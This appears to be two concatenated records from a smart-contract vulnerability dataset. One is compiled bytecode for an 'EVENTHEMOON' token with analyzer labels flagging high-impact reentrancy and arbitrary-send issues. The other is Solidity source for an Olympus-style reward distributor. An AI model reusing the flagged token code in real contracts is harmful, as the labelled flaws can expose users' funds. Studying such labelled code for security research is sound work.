8484610fec565b6104be84610409610e19565b6104b985604051806060016040528060288152602001612b3960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061046f610e19565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461137b9092919063ffffffff16565b610e21565b600190509392505050565b60006009905090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610513610e19565b73ffffffffffffffffffffffffffffffffffffffff161461053357600080fd5b600061053e3061054c565b9050610549816113df565b50565b6000610596600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611667565b9050919050565b6105a5610e19565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062990612449565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f4556454e5448454d4f4f4e000000000000000000000000000000000000000000815250905090565b600061076a610763610e19565b8484610fec565b6001905092915050565b61077c610e19565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610809576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080090612449565b60405180910390fd5b600d60149054906101000a900460ff1615610859576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610850906124c9565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108e830600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000610e21565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561092e57600080fd5b505afa158015610942573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109669190611e8a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109c857600080fd5b505afa1580156109dc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a009190611e8a565b6040518363ffffffff1660e01b8152600401610a1d9291906122b9565b602060405180830381600087803b158015610a3757600080fd5b505af1158015610a4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6f9190611e8a565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610af83061054c565b600080610b036106f0565b426040518863ffffffff1660e01b8152600401610b259695949392919061230b565b6060604051808303818588803b158015610b3e57600080fd5b505af1158015610b52573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b779190611fe4565b5050506001600d60166101000a81548160ff02191690831515021790555068056bc75e2d63100000600e819055506001600d60146101000a81548160ff021916908315150217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c5f9291906122e2565b602060405180830381600087803b158015610c7957600080fd5b505af1158015610c8d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb19190611f8a565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d7d610e19565b73ffffffffffffffffffffffffffffffffffffffff1614610d9d57600080fd5b6000479050610dab816116d5565b50565b610db6610e19565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e0f57600080fd5b80600e8190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e88906124a9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef8906123e9565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fdf91906124e9565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105390612489565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c3906123a9565b60405180910390fd5b6000811161110f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110690612469565b60405180910390fd5b60016009819055506009600a819055506111276106f0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561119557506111656106f0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561136b57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156112455750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561129b5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156112b15760016009819055506009600a819055505b60006112bc3061054c565b9050600d60159054906101000a900460ff161580156113295750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156113415750600d60169054906101000a900460ff165b156113695761134f816113df565b6000479050600081111561136757611366476116d5565b5b505b505b611376838383611741565b505050565b60008383111582906113c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ba9190612387565b60405180910390fd5b50600083856113d291906126af565b9050809150509392505050565b6001600d60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156114175761141661280a565b5b6040519080825280602002602001820160405280156114455781602001602082028036833780820191505090505b509050308160008151811061145d5761145c6127db565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156114ff57600080fd5b505afa158015611513573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115379190611e8a565b8160018151811061154b5761154a6127db565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506115b230600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e21565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611616959493929190612504565b600060405180830381600087803b15801561163057600080fd5b505af1158015611644573d6000803e3d6000fd5b50505050506000600d60156101000a81548160ff02191690831515021790555050565b60006007548211156116ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a5906123c9565b60405180910390fd5b60006116b8611751565b90506116cd818461177c90919063ffffffff16565b915050919050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561173d573d6000803e3d6000fd5b5050565b61174c8383836117c6565b505050565b600080600061175e611991565b91509150611775818361177c90919063ffffffff16565b9250505090565b60006117be83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119f0565b905092915050565b6000806000806000806117d887611a53565b95509550955095509550955061183686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abb90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118cb85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061191781611b63565b6119218483611c20565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161197e91906124e9565b60405180910390a3505050505050505050565b600080600060075490506000670de0b6b3a764000090506119c5670de0b6b3a764000060075461177c90919063ffffffff16565b8210156119e357600754670de0b6b3a76400009350935050506119ec565b81819350935050505b9091565b60008083118290611a37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2e9190612387565b60405180910390fd5b5060008385611a469190612624565b9050809150509392505050565b6000806000806000806000806000611a708a600954600a54611c5a565b9250925092506000611a80611751565b90506000806000611a938e878787611cf0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611afd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061137b565b905092915050565b6000808284611b1491906125ce565b905083811015611b59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5090612409565b60405180910390fd5b8091505092915050565b6000611b6d611751565b90506000611b848284611d7990919063ffffffff16565b9050611bd881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611c3582600754611abb90919063ffffffff16565b600781905550611c5081600854611b0590919063ffffffff16565b6008819055505050565b600080600080611c866064611c78888a611d7990919063ffffffff16565b61177c90919063ffffffff16565b90506000611cb06064611ca2888b611d7990919063ffffffff16565b61177c90919063ffffffff16565b90506000611cd982611ccb858c611abb90919063ffffffff16565b611abb90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611d098589611d7990919063ffffffff16565b90506000611d208689611d7990919063ffffffff16565b90506000611d378789611d7990919063ffffffff16565b90506000611d6082611d528587611abb90919063ffffffff16565b611abb90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d8c5760009050611dee565b60008284611d9a9190612655565b9050828482611da99190612624565b14611de9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de090612429565b60405180910390fd5b809150505b92915050565b600081359050611e0381612af3565b92915050565b600081519050611e1881612af3565b92915050565b600081519050611e2d81612b0a565b92915050565b600081359050611e4281612b21565b92915050565b600081519050611e5781612b21565b92915050565b600060208284031215611e7357611e72612839565b5b6000611e8184828501611df4565b91505092915050565b600060208284031215611ea057611e9f612839565b5b6000611eae84828501611e09565b91505092915050565b60008060408385031215611ece57611ecd612839565b5b6000611edc85828601611df4565b9250506020611eed85828601611df4565b9150509250929050565b600080600060608486031215611f1057611f0f612839565b5b6000611f1e86828701611df4565b9350506020611f2f86828701611df4565b9250506040611f4086828701611e33565b9150509250925092565b60008060408385031215611f6157611f60612839565b5b6000611f6f85828601611df4565b9250506020611f8085828601611e33565b9150509250929050565b600060208284031215611fa057611f9f612839565b5b6000611fae84828501611e1e565b91505092915050565b600060208284031215611fcd57611fcc612839565b5b6000611fdb84828501611e33565b91505092915050565b600080600060608486031215611ffd57611ffc612839565b5b600061200b86828701611e48565b935050602061201c86828701611e48565b925050604061202d86828701611e48565b9150509250925092565b6000612043838361204f565b60208301905092915050565b612058816126e3565b82525050565b612067816126e3565b82525050565b600061207882612589565b61208281856125ac565b935061208d83612579565b8060005b838110156120be5781516120a58882612037565b97506120b08361259f565b925050600181019050612091565b5085935050505092915050565b6120d4816126f5565b82525050565b6120e381612738565b82525050565b60006120f482612594565b6120fe81856125bd565b935061210e81856020860161274a565b6121178161283e565b840191505092915050565b600061212f6023836125bd565b915061213a8261284f565b604082019050919050565b6000612152602a836125bd565b915061215d8261289e565b604082019050919050565b60006121756022836125bd565b9150612180826128ed565b604082019050919050565b6000612198601b836125bd565b91506121a38261293c565b602082019050919050565b60006121bb6021836125bd565b91506121c682612965565b604082019050919050565b60006121de6020836125bd565b91506121e9826129b4565b602082019050919050565b60006122016029836125bd565b915061220c826129dd565b604082019050919050565b60006122246025836125bd565b915061222f82612a2c565b604082019050919050565b60006122476024836125bd565b915061225282612a7b565b604082019050919050565b600061226a6017836125bd565b915061227582612aca565b602082019050919050565b61228981612721565b82525050565b6122988161272b565b82525050565b60006020820190506122b3600083018461205e565b92915050565b60006040820190506122ce600083018561205e565b6122db602083018461205e565b9392505050565b60006040820190506122f7600083018561205e565b6123046020830184612280565b9392505050565b600060c082019050612320600083018961205e565b61232d6020830188612280565b61233a60408301876120da565b61234760608301866120da565b612354608083018561205e565b61236160a0830184612280565b979650505050505050565b600060208201905061238160008301846120cb565b92915050565b600060208201905081810360008301526123a181846120e9565b905092915050565b600060208201905081810360008301526123c281612122565b9050919050565b600060208201905081810360008301526123e281612145565b9050919050565b6000602082019050818103600083015261240281612168565b9050919050565b600060208201905081810360008301526124228161218b565b9050919050565b60006020820190508181036000830152612442816121ae565b9050919050565b60006020820190508181036000830152612462816121d1565b9050919050565b60006020820190508181036000830152612482816121f4565b9050919050565b600060208201905081810360008301526124a281612217565b9050919050565b600060208201905081810360008301526124c28161223a565b9050919050565b600060208201905081810360008301526124e28161225d565b9050919050565b60006020820190506124fe6000830184612280565b92915050565b600060a0820190506125196000830188612280565b61252660208301876120da565b8181036040830152612538818661206d565b9050612547606083018561205e565b6125546080830184612280565b9695505050505050565b6000602082019050612573600083018461228f565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006125d982612721565b91506125e483612721565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126195761261861277d565b5b828201905092915050565b600061262f82612721565b915061263a83612721565b92508261264a576126496127ac565b5b828204905092915050565b600061266082612721565b915061266b83612721565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156126a4576126a361277d565b5b828202905092915050565b60006126ba82612721565b91506126c583612721565b9250828210156126d8576126d761277d565b5b828203905092915050565b60006126ee82612701565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061274382612721565b9050919050565b60005b8381101561276857808201518184015260208101905061274d565b83811115612777576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612afc816126e3565b8114612b0757600080fd5b50565b612b13816126f5565b8114612b1e57600080fd5b50565b612b2a81612721565b8114612b3557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122031d1d8dd3c7d8443cde2e70ec18f72773d19857a92f4ba17bc7fd5828ee5cedb64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,478
0x18fD48C0791B67F993a4793FC0cbE22375B5dA5b
/** *Submitted for verification at Etherscan.io on 2022-03-18 */ // SPDX-License-Identifier: MIT pragma solidity 0.7.5; library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrrt(uint256 a) internal pure returns (uint c) { if (a > 3) { c = a; uint b = add( div( a, 2), 1 ); while (b < c) { c = b; b = div( add( div( a, b ), b), 2 ); } } else if (a != 0) { c = 1; } } function percentageAmount( uint256 total_, uint8 percentage_ ) internal pure returns ( uint256 percentAmount_ ) { return div( mul( total_, percentage_ ), 1000 ); } function substractPercentage( uint256 total_, uint8 percentageToSub_ ) internal pure returns ( uint256 result_ ) { return sub( total_, div( mul( total_, percentageToSub_ ), 1000 ) ); } function percentageOfTotal( uint256 part_, uint256 total_ ) internal pure returns ( uint256 percent_ ) { return div( mul(part_, 100) , total_ ); } function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } function quadraticPricing( uint256 payment_, uint256 multiplier_ ) internal pure returns (uint256) { return sqrrt( mul( multiplier_, payment_ ) ); } function bondingCurve( uint256 supply_, uint256 multiplier_ ) internal pure returns (uint256) { return mul( multiplier_, supply_ ); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns(string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = '0'; _addr[1] = 'x'; for(uint256 i = 0; i < 20; i++) { _addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } interface IPolicy { function policy() external view returns (address); function renouncePolicy() external; function pushPolicy( address newPolicy_ ) external; function pullPolicy() external; } contract Policy is IPolicy { address internal _policy; address internal _newPolicy; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _policy = msg.sender; emit OwnershipTransferred( address(0), _policy ); } function policy() public view override returns (address) { return _policy; } modifier onlyPolicy() { require( _policy == msg.sender, "Ownable: caller is not the owner" ); _; } function renouncePolicy() public virtual override onlyPolicy() { emit OwnershipTransferred( _policy, address(0) ); _policy = address(0); } function pushPolicy( address newPolicy_ ) public virtual override onlyPolicy() { require( newPolicy_ != address(0), "Ownable: new owner is the zero address"); _newPolicy = newPolicy_; } function pullPolicy() public virtual override { require( msg.sender == _newPolicy ); emit OwnershipTransferred( _policy, _newPolicy ); _policy = _newPolicy; } } interface ITreasury { function mintRewards( address _recipient, uint _amount ) external; } contract Distributor is Policy { using SafeMath for uint; using SafeERC20 for IERC20; /* ====== VARIABLES ====== */ address public immutable GWS; address public immutable treasury; uint public immutable epochLength; uint public nextEpochBlock; mapping( uint => Adjust ) public adjustments; /* ====== STRUCTS ====== */ struct Info { uint rate; // in ten-thousandths ( 5000 = 0.5% ) address recipient; } Info[] public info; struct Adjust { bool add; uint rate; uint target; } /* ====== CONSTRUCTOR ====== */ constructor( address _treasury, address _gws, uint _epochLength, uint _nextEpochBlock ) { require( _treasury != address(0) ); treasury = _treasury; require( _gws != address(0) ); GWS = _gws; epochLength = _epochLength; nextEpochBlock = _nextEpochBlock; } /* ====== PUBLIC FUNCTIONS ====== */ /** @notice send epoch reward to staking contract */ function distribute() external returns ( bool ) { if ( nextEpochBlock <= block.number ) { nextEpochBlock = nextEpochBlock.add( epochLength ); // set next epoch block // distribute rewards to each recipient for ( uint i = 0; i < info.length; i++ ) { if ( info[ i ].rate > 0 ) { ITreasury( treasury ).mintRewards( // mint and send from treasury info[ i ].recipient, nextRewardAt( info[ i ].rate ) ); adjust( i ); // check for adjustment } } return true; } else { return false; } } /* ====== INTERNAL FUNCTIONS ====== */ /** @notice increment reward rate for collector */ function adjust( uint _index ) internal { Adjust memory adjustment = adjustments[ _index ]; if ( adjustment.rate != 0 ) { if ( adjustment.add ) { // if rate should increase info[ _index ].rate = info[ _index ].rate.add( adjustment.rate ); // raise rate if ( info[ _index ].rate >= adjustment.target ) { // if target met adjustments[ _index ].rate = 0; // turn off adjustment } } else { // if rate should decrease info[ _index ].rate = info[ _index ].rate.sub( adjustment.rate ); // lower rate if ( info[ _index ].rate <= adjustment.target ) { // if target met adjustments[ _index ].rate = 0; // turn off adjustment } } } } /* ====== VIEW FUNCTIONS ====== */ /** @notice view function for next reward at given rate @param _rate uint @return uint */ function nextRewardAt( uint _rate ) public view returns ( uint ) { return IERC20( GWS ).totalSupply().mul( _rate ).div( 1000000 ); } /** @notice view function for next reward for specified address @param _recipient address @return uint */ function nextRewardFor( address _recipient ) public view returns ( uint ) { uint reward; for ( uint i = 0; i < info.length; i++ ) { if ( info[ i ].recipient == _recipient ) { reward = nextRewardAt( info[ i ].rate ); } } return reward; } /* ====== POLICY FUNCTIONS ====== */ /** @notice adds recipient for distributions @param _recipient address @param _rewardRate uint */ function addRecipient( address _recipient, uint _rewardRate ) external onlyPolicy() { require( _recipient != address(0) ); info.push( Info({ recipient: _recipient, rate: _rewardRate })); } /** @notice removes recipient for distributions @param _index uint @param _recipient address */ function removeRecipient( uint _index, address _recipient ) external onlyPolicy() { require( _recipient == info[ _index ].recipient ); info[ _index ].recipient = address(0); info[ _index ].rate = 0; } /** @notice set adjustment info for a collector's reward rate @param _index uint @param _add bool @param _rate uint @param _target uint */ function setAdjustment( uint _index, bool _add, uint _rate, uint _target ) external onlyPolicy() { adjustments[ _index ] = Adjust({ add: _add, rate: _rate, target: _target }); } }
